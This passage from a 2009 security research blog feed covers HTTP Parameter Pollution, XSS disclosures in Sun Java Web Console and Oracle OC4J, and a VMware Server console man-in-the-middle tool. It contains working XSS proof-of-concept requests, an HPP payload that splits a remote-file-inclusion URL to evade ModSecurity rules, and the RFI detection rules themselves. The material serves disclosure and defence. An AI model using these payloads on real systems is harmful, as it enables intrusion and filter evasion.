href="http://www.owasp.org/index.php/ESAPI"&gt;OWASP ESAPI&lt;/a&gt;,  &lt;a href="http://code.google.com/p/doctype/wiki/ArticlesXSS"&gt;Secure Coding&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Having said that, I would like to point out a couple of trivial security flaws I have discovered in the last months:&lt;span style="font-weight: bold;"&gt; (A) &lt;/span&gt;&lt;a style="font-weight: bold;" href="http://secunia.com/advisories/35597/"&gt; &lt;/a&gt;&lt;a style="font-weight: bold;" href="http://secunia.com/advisories/35597/"&gt;Sun Java Web Console Multiple Cross Site Scripting&lt;/a&gt; and yet another&lt;span style="font-weight: bold;"&gt; (B)&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Oracle Application Server 10g (v9.x) Cross Site Scripting&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;(A)&lt;/span&gt; Just because I believe in full disclosure, let's specify the &lt;span style="font-style: italic;"&gt;unspecified input &lt;/span&gt;(as reported by the vendor).  Due to the lack of input filtering within the "HELP" resources, it is possible to inject JS code and trigger XSS attacks. During my audit, several attack vectors were found:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153); font-weight: bold;"&gt;/console/faces/com_sun_web_ui/help/helpwindow.jsp&lt;/span&gt;&lt;br /&gt;Parameters:  &lt;span style="font-weight: bold; color: rgb(51, 0, 153);"&gt;windowTitle&lt;/span&gt;, &lt;span style="font-weight: bold; color: rgb(51, 0, 153);"&gt;helpFile&lt;/span&gt;,&lt;span style="font-weight: bold;"&gt; &lt;span style="color: rgb(51, 0, 153);"&gt;pageTitle&lt;/span&gt;&lt;/span&gt;, &lt;span style="font-weight: bold; color: rgb(51, 0, 153);"&gt;mastheadUrl&lt;/span&gt;,&lt;span style="color: rgb(51, 0, 153);"&gt; &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(51, 0, 153);"&gt;mastheadDescription&lt;/span&gt;, &lt;span style="font-weight: bold; color: rgb(51, 0, 153);"&gt;jspPath&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 0, 153);"&gt;/console/faces/com_sun_web_ui/help/masthead.jsp&lt;/span&gt;&lt;br /&gt;Parameters: &lt;span style="font-weight: bold; color: rgb(51, 0, 153);"&gt;mastheadUrl&lt;/span&gt;, &lt;span style="font-weight: bold; color: rgb(51, 0, 153);"&gt;pageTitle&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;PoC example: &lt;span style="font-weight: bold; color: rgb(51, 0, 153);"&gt;https://IP:PORT/console/faces/com_sun_web_ui/help/helpwindow.jsp?&amp;amp;windowTitle=&amp;amp;helpFile=%22%3E%3C/FRAMESET%3E%3CFRAME%20SRC=%22javascript:alert(%27XSS%27);%22%3E%3C!--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;(B)&lt;/span&gt; In case of OC4J, the problem is triggered with malformed requests containing invalid HTTP methods.&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;G&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;lt;script&amp;gt;alert(123);&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;ET /servlet/ HTTP/1.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;Host: 127.0.0.1:5500&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;501 Not Implemented&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;Method G&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;lt;script&amp;gt;alert(123);&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;ET is not defined in RFC 2068 and is not supported by the Servlet API&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;Versions 10.1.3.4.0 and likely all the 10.x releases are not vulnerable.&lt;br /&gt;Oracle support for the J2EE application container 9.x ended in December 2008, according to the &lt;a href="http://www.oracle.com/support/library/brochure/lifetime-support-technology.pdf"&gt;Oracle's Lifetime Support Policy&lt;/a&gt;. However, they still provide this insecure software &lt;a href="http://www.oracle.com/technology/software/products/ias/htdocs/utilsoft.html"&gt;here&lt;/a&gt;. From my experience, I've seen several installations of such outdated and unsupported software within corporations. As you can easily imagine, it means no patch...sad indeed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-4402203552008598830?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/4402203552008598830/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=4402203552008598830" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/4402203552008598830?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/4402203552008598830?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/Lv6SQgTUVSE/xss-flaws-are-boring.html" title="XSS flaws are boring!" /><author><name>Luca Carettoni</name><uri>http://www.blogger.com/profile/09957564681262364569</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="16533444524732394527" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/07/xss-flaws-are-boring.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUIFQHw6cSp7ImA9WxJWEkk.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-3787314701620451515</id><published>2009-06-16T05:51:00.000-07:00</published><updated>2009-06-17T07:05:11.219-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-17T07:05:11.219-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ikki" /><category scheme="http://www.blogger.com/atom/ns#" term="hpp" /><title>HPP and WAF</title><content type="html">&lt;span style="font-weight: bold;"&gt;H&lt;/span&gt;TTP &lt;span style="font-weight: bold;"&gt;P&lt;/span&gt;arameter &lt;span style="font-weight: bold;"&gt;P&lt;/span&gt;ollution used as a WAFs bypass technique seems to be a very favored topic. Just a few updates regarding this matter...&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://www.lavakumar.com/"&gt;&lt;span&gt;Lavakumar Kuppan&lt;/span&gt;&lt;/a&gt; has released his&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;a style="font-weight: bold;" href="http://www.milw0rm.com/papers/340"&gt;paper&lt;/a&gt; as well as the &lt;a style="font-weight: bold;" href="http://www.milw0rm.com/exploits/8930"&gt;security advisory&lt;/a&gt; on how to bypass mod_sec core rules in order to exploit SQL injections in ASP/ASP.NET environment. It is worth to mention that installations using ModSecurity &lt;= 2.5.9 with ModSecurity Core Rules &lt;= 2.5-1.6.1 are vulnerable thus you may consider to check your systems.       &lt;br /&gt;&lt;br /&gt;A new &lt;a style="font-weight: bold;" href="http://www.breach.com/resources/whitepapers/downloads/WP_Detecting_Remote_File.pdf"&gt;whitepaper&lt;/a&gt; titled "Detecting remote file inclusion attacks" was released by Breach Security. It discusses a generic rules set that will enable protecting applications from RFI attacks.  Once again, the suggested &lt;span style="font-weight: bold;"&gt;RFI rules set is vulnerable to HPP bypass&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Most of the suggested rules may be very useful in order to detect generic RFI attacks but they are just not working against HPP attacks, in specific web frameworks.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;IP Address&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;SecRule “ARGS” “@rx (ht|f)tps?://([\d\.]+)”&lt;br /&gt;“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:'RFI’ “&lt;/blockquote&gt;&lt;span style="font-style: italic;"&gt;Function INCLUDE&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;SecRule “ARGS” “@rx \binclude\s*\([^)]*(ht|f)tps?://”&lt;br /&gt;“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’RFI’ “&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Inclusion ends with question mark&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;SecRule “ARGS” “@rx (ft|htt)ps?.*\?+$”&lt;br /&gt;“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’RFI’ “&lt;/blockquote&gt;&lt;br /&gt;In case of ASP and ASP.NET (and other HTTP back-ends), it is still possible to inject multiple HTTP parameters containing two segments of the attack:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;http://vulnerable_app/vulnerable_page?par=&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;http://example.com/shell.txt&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&amp;amp;par=&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Resulting in "&lt;span style="color: rgb(255, 0, 0);"&gt;http://example.com/shell.txt,?&lt;/span&gt;". Since the pseudo shell filename is managed by the attacker, he/she may easily create a file named "&lt;span style="color: rgb(255, 0, 0);"&gt;shell.txt,&lt;/span&gt;". The following attack bypasses the other two rules as well.&lt;br /&gt;&lt;br /&gt;Obviously, this is true for all different web technologies that consider multiple occurrences and concatenate those using different chars. ASP and ASP.NET are the most interesting examples of such behavior. Indeed, I understand that the suggested solution may provide a workable level of security, especially considering that PHP does not concatenate multiple parameters.&lt;br /&gt;&lt;br /&gt;Besides WAFs stuff, it is important to remember that HPP is also about server and client side flaws. Well, in case it's not clear enough, some vulnerabilities that we are going to disclose will hopefully help to emphasize the concept.&lt;br /&gt;&lt;br /&gt;Luca&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-3787314701620451515?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/3787314701620451515/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=3787314701620451515" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/3787314701620451515?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/3787314701620451515?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/OIuahOShT0o/hpp-and-wafs.html" title="HPP and WAF" /><author><name>Luca Carettoni</name><uri>http://www.blogger.com/profile/09957564681262364569</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="16533444524732394527" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/06/hpp-and-wafs.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkEHSX47eip7ImA9WxJQF0s.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-5686171482026098154</id><published>2009-05-21T08:11:00.000-07:00</published><updated>2009-05-31T02:03:58.002-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-31T02:03:58.002-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ikki" /><category scheme="http://www.blogger.com/atom/ns#" term="hpp" /><title>HTTP Parameter Pollution FAQs</title><content type="html">We have received numerous public replies as well as several private emails.&lt;br /&gt;Thanks for your comments, suggestions and feedbacks.&lt;br /&gt;&lt;br /&gt;It's now time to summarize and clarify some points.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Q:&lt;/span&gt; Is this a new class of exploits or just another case of applications lacking input validation?&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;A:&lt;/span&gt; Actually, HPP is an input validation flaw. As SQL Injection and XSS, we may consider it as an injection weakness. In this specific case, &lt;span style="FONT-STYLE: italic"&gt;query string delimiters&lt;/span&gt; are the "dangerous" characters.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Q: &lt;/span&gt;You are saying that several HTTP back-ends manage multiple occurrences in different ways. In some cases, it may be abused in order to fingerprint the underline back-end. Is it right?&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;A:&lt;/span&gt; Yes, sure. However, considering the granularity available, we don't think it is really so interesting.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Q:&lt;/span&gt; This is a known attack. You guys presented a bunch of interesting but already known techniques to exploit different vulnerabilities.&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;A:&lt;/span&gt; Actually, we think we have contributed (in some way) to the current state-of-art showing this issue. However, even if it is currently used by "hardcore" attackers, it's very important to formalize a threat in order to mitigate the issue and create efficient workarounds. The aim of the entire research is to raise awareness around this problem. In future, we would like to include HPP within the &lt;a href="http://www.owasp.org/index.php/Category:OWASP_Testing_Project"&gt;OWASP Testing Guide&lt;/a&gt; in order to provide the right methodology for testing systems against HPP-like attacks as well. We strongly believe that sharing such knowledge may increase the security of all web applications.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Q: &lt;/span&gt;Most of your examples and findings use GET parameters. What about POST?&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;A:&lt;/span&gt; POST and COOKIE parameters may be affected as well. In slide #11 and #19, we have briefly stated that and you will see further research because it is a very interesting aspect since it gives additional flexibility for all attacks.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Q:&lt;/span&gt; In the current version of IE8, is the XSS Filter still vulnerable to HPP?&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;A:&lt;/span&gt; No! We had a discussion with the IE XSS Filter guy at Microsoft and turns out that the current version is NOT affected. All previous tests were done against the beta release and we didn't double check the latest one. We are sorry for this misunderstanding.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Q:&lt;/span&gt; Are multiple occurrences of a parameter valid according to the RFC, W3C, whatever?&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;A: &lt;/span&gt;Yes! Yes! The only thing which in fact was worth mentioning is the lack of standard in the &lt;span style="FONT-STYLE: italic"&gt;management&lt;/span&gt; of multiple occurrences and NOT the presence of multiple occurrences themselves. After all, that's why it is possible to abuse the query string delimiters injection flaw.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Q:&lt;/span&gt; Is Yahoo! Mail still vulnerable to HPP?&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;A:&lt;/span&gt; Difficult to say. However, the specific issue was patched thus it cannot be abused by malicious users.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Q:&lt;/span&gt; Could you provide additional details regarding the Yahoo! Classic Mail HPP attack?&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;A: &lt;/span&gt;We've just published &lt;a href="http://blog.mindedsecurity.com/2009/05/client-side-http-parameter-pollution.html"&gt;&lt;span style="TEXT-DECORATION: underline"&gt;HERE&lt;/span&gt;&lt;/a&gt; an in-depth review of the issue with the&lt;span style="FONT-STYLE: italic"&gt; video PoC&lt;/span&gt; as well.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Q: &lt;/span&gt;What's the right way of managing multiple occurrences? Is there a "perfect" framework?&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;A:&lt;/span&gt; No, there are no right o wrong behaviors as well as we cannot refer to a right or wrong web servers/web frameworks. The behavior of the HTTP back-ends is a matter of exploitability only.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Q:&lt;/span&gt; HPP is only about WAFs bypasses?&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;A:&lt;/span&gt; Absolutely not! HPP is also about applications flow manipulation, anti-CSRF, content pollution.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Q:&lt;/span&gt; How can I prevent HPP?&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;A:&lt;/span&gt; First of all, answer yourself "Which layer am I protecting?". Then, speaking about HPP server side, it's always important to use URL encoding whenever you do GET/POST HTTP requests to an HTTP back-end. From the client-side point of view, use URL encoding whenever you are going to include user-supplied content within links, etc.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Q:&lt;/span&gt; Am I vulnerable to HPP?&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;A: &lt;/span&gt;It depends on how you are managing several occurrences of the same parameter from the application point of view. Using strict input validation checkpoints and the right output filtering (URL encoding), you are likely secure (&lt;span style="FONT-STYLE: italic"&gt;at least, against HPP&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;That's all, for now.&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;Luca&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-5686171482026098154?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/5686171482026098154/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=5686171482026098154" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/5686171482026098154?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/5686171482026098154?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/QLOfX6W0Khg/http-parameter-pollution-faqs.html" title="HTTP Parameter Pollution FAQs" /><author><name>Luca Carettoni</name><uri>http://www.blogger.com/profile/09957564681262364569</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="16533444524732394527" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/05/http-parameter-pollution-faqs.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkQFSXs5fCp7ImA9WxJQF0s.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-1533171131442325240</id><published>2009-05-19T04:31:00.000-07:00</published><updated>2009-05-31T01:58:38.524-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-31T01:58:38.524-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ikki" /><category scheme="http://www.blogger.com/atom/ns#" term="hpp" /><category scheme="http://www.blogger.com/atom/ns#" term="owasp" /><title>HTTP Parameter Pollution (HPP)</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_5TMxqPSTp9k/ShKbjCRKPrI/AAAAAAAABEc/pfMBHGxGlzs/s1600-h/ikki_wisec.jpg"&gt;&lt;img style="MARGIN: 0pt 10px 10px 0pt; WIDTH: 320px; FLOAT: left; HEIGHT: 240px; CURSOR: pointer" id="BLOGGER_PHOTO_ID_5337499534594031282" border="0" alt="" src="http://3.bp.blogspot.com/_5TMxqPSTp9k/ShKbjCRKPrI/AAAAAAAABEc/pfMBHGxGlzs/s320/ikki_wisec.jpg" /&gt;&lt;/a&gt;As you know, on May 14th @ OWASP AppSec Poland 2009, me and &lt;a href="http://www.wisec.it/"&gt;Stefano&lt;/a&gt; &lt;a href="http://www.mindedsecurity.com/"&gt;di Paola&lt;/a&gt; have presented a new attack category called &lt;span style="FONT-WEIGHT: bold"&gt;HTTP Parameter Pollution&lt;/span&gt; (HPP).&lt;br /&gt;&lt;br /&gt;HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting query string delimiters. It affects a building block of all web technologies thus &lt;span style="FONT-STYLE: italic"&gt;server-side &lt;/span&gt;as well as &lt;span style="FONT-STYLE: italic"&gt;client-side&lt;/span&gt; attacks exist.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exploiting HPP vulnerabilities, it may be possible to:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Override existing hardcoded HTTP parameters&lt;/li&gt;&lt;li&gt;Modify the application behaviors&lt;/li&gt;&lt;li&gt;Access and, potentially exploit, uncontrollable variables&lt;/li&gt;&lt;li&gt;Bypass input validation checkpoints and WAFs rules&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Just to whet your appetite, we can anticipate that by researching real world HPP vulnerabilities, we have discovered issues on some &lt;span style="FONT-STYLE: italic"&gt;Google Search Appliance front-end scripts&lt;/span&gt;,&lt;span style="FONT-STYLE: italic"&gt; &lt;/span&gt;&lt;span style="FONT-STYLE: italic"&gt;Ask.com&lt;/span&gt;, &lt;span style="FONT-STYLE: italic"&gt;Yahoo! Mail Classic&lt;/span&gt; and several other products.&lt;br /&gt;&lt;br /&gt;You can download the slides of the talk &lt;a href="http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf"&gt;here&lt;/a&gt; or browse it on &lt;a href="http://www.slideshare.net/Wisec/http-parameter-pollution-a-new-category-of-web-attacks"&gt;Slideshare&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Also, we'll release a whitepaper in order to clarify all details about HPP.&lt;br /&gt;As last news, the video of the "Yahoo! Classic Mail" client side HPP exploitation will be available soon on this blog. That's all for now.&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;Ikki&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-1533171131442325240?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/1533171131442325240/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=1533171131442325240" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/1533171131442325240?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/1533171131442325240?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/RldupboO5nA/hpp-hopefully-not-just-another-buzzword.html" title="HTTP Parameter Pollution (HPP)" /><author><name>Luca Carettoni</name><uri>http://www.blogger.com/profile/09957564681262364569</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="16533444524732394527" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_5TMxqPSTp9k/ShKbjCRKPrI/AAAAAAAABEc/pfMBHGxGlzs/s72-c/ikki_wisec.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/05/hpp-hopefully-not-just-another-buzzword.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkEERHY6cCp7ImA9WxJQF0s.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-3153687328704892566</id><published>2009-05-18T11:08:00.000-07:00</published><updated>2009-05-31T02:03:25.818-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-31T02:03:25.818-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="vmware" /><category scheme="http://www.blogger.com/atom/ns#" term="blackfire" /><category scheme="http://www.blogger.com/atom/ns#" term="snagg" /><title>MiTM on VMware Server</title><content type="html">Since a little more than year I've been researching on virtualization security, focusing on "real" issues - not the low level stuff which is unlikely to ever turn into an exploit in the real world.&lt;br /&gt;Finally &lt;a href="http://securenetwork.it/"&gt;the company I work for&lt;/a&gt; rolled out a virtualization security service and people are releasing actual attacks on such infrastructures and it's time to join the party.&lt;br /&gt;&lt;br /&gt;I'll start by releasing a very simple tool which is able to perform MITM against VMware Server Console. Isn't that trivial, you might wonder?&lt;br /&gt;Well, as a matter of fact the tool is very simple and error prone: this alpha version is little more than a loop with a couple of connect which was first sketched by Snagg and which I then finished with my non-existant Python coding skills.&lt;br /&gt;&lt;br /&gt;But, actually, there are a couple of facts which make this tool interesting.&lt;br /&gt;&lt;br /&gt;Fact 1: VMware console will not check for the SSL certificate and won't even warn the user about a wrong certificate. Bad, very bad.&lt;br /&gt;&lt;br /&gt;Fact 2: Most SSL MiTM tools will just fail in working with VMware Console since &lt;strong&gt;before&lt;/strong&gt; the SSL connection is enstablished, an unencrypted line is sent through the socket in plaintext, effectively crashing any tool I know about.&lt;br /&gt;&lt;br /&gt;Fact 3: The password is not actually sent in cleartext through the pipe. More on this in future posts.&lt;br /&gt;&lt;br /&gt;You can grab the alchemic python solution &lt;a onclick="javascript: pageTracker._trackPageview('/downloads/vmproxy');" href="http://securenetwork.it/ricerca/software/download/vmproxy.alpha.tar.gz"&gt;here&lt;/a&gt;, but keep in mind that it is mightly unstable in the current version.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-3153687328704892566?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/3153687328704892566/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=3153687328704892566" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/3153687328704892566?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/3153687328704892566?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/5KCk8mX3jTI/mitm-on-vmware-server.html" title="MiTM on VMware Server" /><author><name>Claudio Criscione</name><uri>http://www.blogger.com/profile/12202628660778574382</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="02490522152931367543" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/05/mitm-on-vmware-server.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkUMSHs9eCp7ImA9WxJQF0s.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-3175382995211287018</id><published>2009-05-14T03:46:00.000-07:00</published><updated>2009-05-31T01:58:09.560-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-31T01:58:09.560-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ikki" /><category scheme="http://www.blogger.com/atom/ns#" term="hpp" /><category scheme="http://www.blogger.com/atom/ns#" term="owasp" /><title>Making OWASP AppSec 2009 virtual</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.owasp.org/images/5/55/Poland09.gif"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 468px; DISPLAY: block; HEIGHT: 60px; CURSOR: pointer" border="0" alt="" src="http://www.owasp.org/images/5/55/Poland09.gif" /&gt;&lt;/a&gt;&lt;br /&gt;The most interesting Web App Security conference is here, in Krakow.&lt;br /&gt;&lt;a href="http://www.owasp.org/index.php/OWASP_AppSec_Europe_2009_-_Poland"&gt;OWASP AppSec 2009&lt;/a&gt; is a great event, indeed. We're having fun, sharing ideas and trying to build the next webapp security, all together. No flags, no commercial slogans.&lt;br /&gt;&lt;br /&gt;If you do not have the chance to attend the conference in these days, you may virtually join us. Seba and the other guys have organized a 360 degree coverage using blogs, Twitter, Flickr, ...&lt;br /&gt;&lt;br /&gt;In few hours, together with Stefano di Paola, we are going to present our research on &lt;span style="FONT-WEIGHT: bold"&gt;HTTP Parameter Pollution&lt;/span&gt; (HPP). As we like to say, HPP is a quite simple but effective hacking technique. It can be used to modify the behaviors of client-side and server-side applications, to exploit vulnerabilities in uncontrollable variables and even to bypass web application firewalls. As you will see, it’s a kind of unbelievable story. Further details and the slides will be published as soon as possible.&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;Luca&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-3175382995211287018?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/3175382995211287018/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=3175382995211287018" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/3175382995211287018?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/3175382995211287018?v=2" /><link rel="alternate" type="text/html" 